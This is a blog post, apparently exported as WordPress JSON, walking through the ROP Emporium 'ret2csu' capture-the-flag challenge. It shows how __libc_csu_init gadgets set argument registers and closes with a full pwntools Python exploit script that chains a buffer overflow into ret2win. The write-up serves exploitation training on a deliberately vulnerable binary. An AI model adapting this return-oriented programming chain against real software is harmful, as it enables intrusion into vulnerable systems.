{"id":131,"date":"2021-03-13T03:10:55","date_gmt":"2021-03-13T03:10:55","guid":{"rendered":"https:\/\/blog.bpcspace.com\/?p=131"},"modified":"2021-03-13T03:10:55","modified_gmt":"2021-03-13T03:10:55","slug":"ret2csu","status":"publish","type":"post","link":"https:\/\/blog.bpcspace.com\/?p=131","title":{"rendered":"ret2csu"},"content":{"rendered":"\n

This was the last challenge from Max Kamper’s ROP Emporium<\/a>. It wasn’t especially hard, but it teaches a strategy<\/a> that’s extremely useful for ROP attacks that (supposedly) works universally on most Linux binaries.<\/p>\n\n\n\n

To start, all ROP emporium levels have the same basic buffer overflow to overwrite the return address. The site says the objective is to call ret2win(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)<\/code>. <\/p>\n\n\n\n

Using checksec<\/code>, we get this:<\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n

Unsurprisingly, there’s no PIE, canary, or anything unusual for this series. Looking for ROP gadgets we see where the challenge comes in.<\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n

There’s no viable way to modify rdx. However, if we look at the symbols, you might see something familiar. <\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n

See it? There’s a function called __libc_csu_init<\/code> and another called __libc_csu_fini<\/code>. Based on the title of the challenge, these look important. These functions are responsible for initializing and destroying the program<\/a>, and are present in every Linux ELF compiled with gcc (with exceptions, I’m sure). Let’s disassemble __libc_csu_init<\/code>.<\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n
\"\"
the important part<\/figcaption><\/figure><\/div>\n\n\n\n

If you look at the last few instructions you’ll see you can pop into various registers. At 0x400680<\/code>, you’ll see that r15 and r14 are moved into rdx and rsi. The only problem is that there’s no immediate return. Further more, r13d is moved into edi, meaning that we can’t just call ret2win<\/code> in the next instruction, and even if we could we’d have to find somewhere that contains it’s address. If we go further down the function, you’ll see there’s a simple comparison of rbx and rbp after an increment, which we want to pass to avoid __libc_csu_init+0x40<\/code>. So we need to call a function that won’t crash our program or mess with our stack pointer, along with passing this condition. We can control the required registers no problem, so it’s just a matter of finding a function that won’t crash the program. I disassembled the entire program (it’s not big) and found the perfect function: <\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n

I’m pretty sure it was put in there just for us, as it’s effectively useless. In another binary, you’d just need to find a function that returns without messing things up.<\/p>\n\n\n\n

The last register we need to take care of is rdi, which isn’t hard to find.<\/p>\n\n\n\n

\"\"<\/figure><\/div>\n\n\n\n

Once we pop the registers starting at address 0x400680<\/code>, pass the rest of the function, we return to our gadget to set rdi, then call ret2win@plt<\/code> (in .plt<\/code> because ret2win<\/code> resides in the ret2win.so<\/code> library). So, we slap that all together to get a working exploit, and we get:<\/p>\n\n\n\n

#!\/usr\/bin\/env python3\nfrom pwn import *\n\nprog = process('.\/ret2csu')\npayload = b''\nfor c in range(40): # just the basic overflow \n    payload += b'a'\n\npayload += p64(0x40069a)\npayload += p64(0)                       # rbx\npayload += p64(1)                       # rbp\npayload += p64(0x6003b0)                # r12 <-- fini\npayload += p64(0x0)                     # r13 will clear half of register\npayload += p64(0xcafebabecafebabe)      # r14\npayload += p64(0xd00df00dd00df00d)      # r15\npayload += p64(0x400680)\n\n# all these zeros are just to get us over the unwanted pop instructions before returning\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x0)\npayload += p64(0x4006a3) # gadget to set rdi\npayload += p64(0xdeadbeefdeadbeef)\n\npayload += p64(0x400510) # ret2win@plt\n\n\nprog.sendline(payload)\nflag = prog.readline_containsS(\"ROPE\")\nprint(\"Flag: {}\\n\".format(flag))<\/code><\/pre>\n\n\n\n
It works!<\/p>\n\n\n\n
\"\"<\/figure><\/div>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
This was the last challenge from Max Kamper’s ROP Emporium. It wasn’t especially hard, but it teaches a strategy that’s extremely useful for ROP attacks that (supposedly) works universally on most Linux binaries. To start, all ROP emporium levels have the same basic buffer overflow to overwrite the return address. The site says the objective […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"templates\/template-full-width.php","format":"standard","meta":{"footnotes":""},"categories":[7,8],"tags":[],"class_list":["post-131","post","type-post","status-publish","format-standard","hentry","category-rop","category-rop-emporium"],"_links":{"self":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/131","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=131"}],"version-history":[{"count":0,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=\/wp\/v2\/posts\/131\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=131"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=131"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.bpcspace.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=131"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}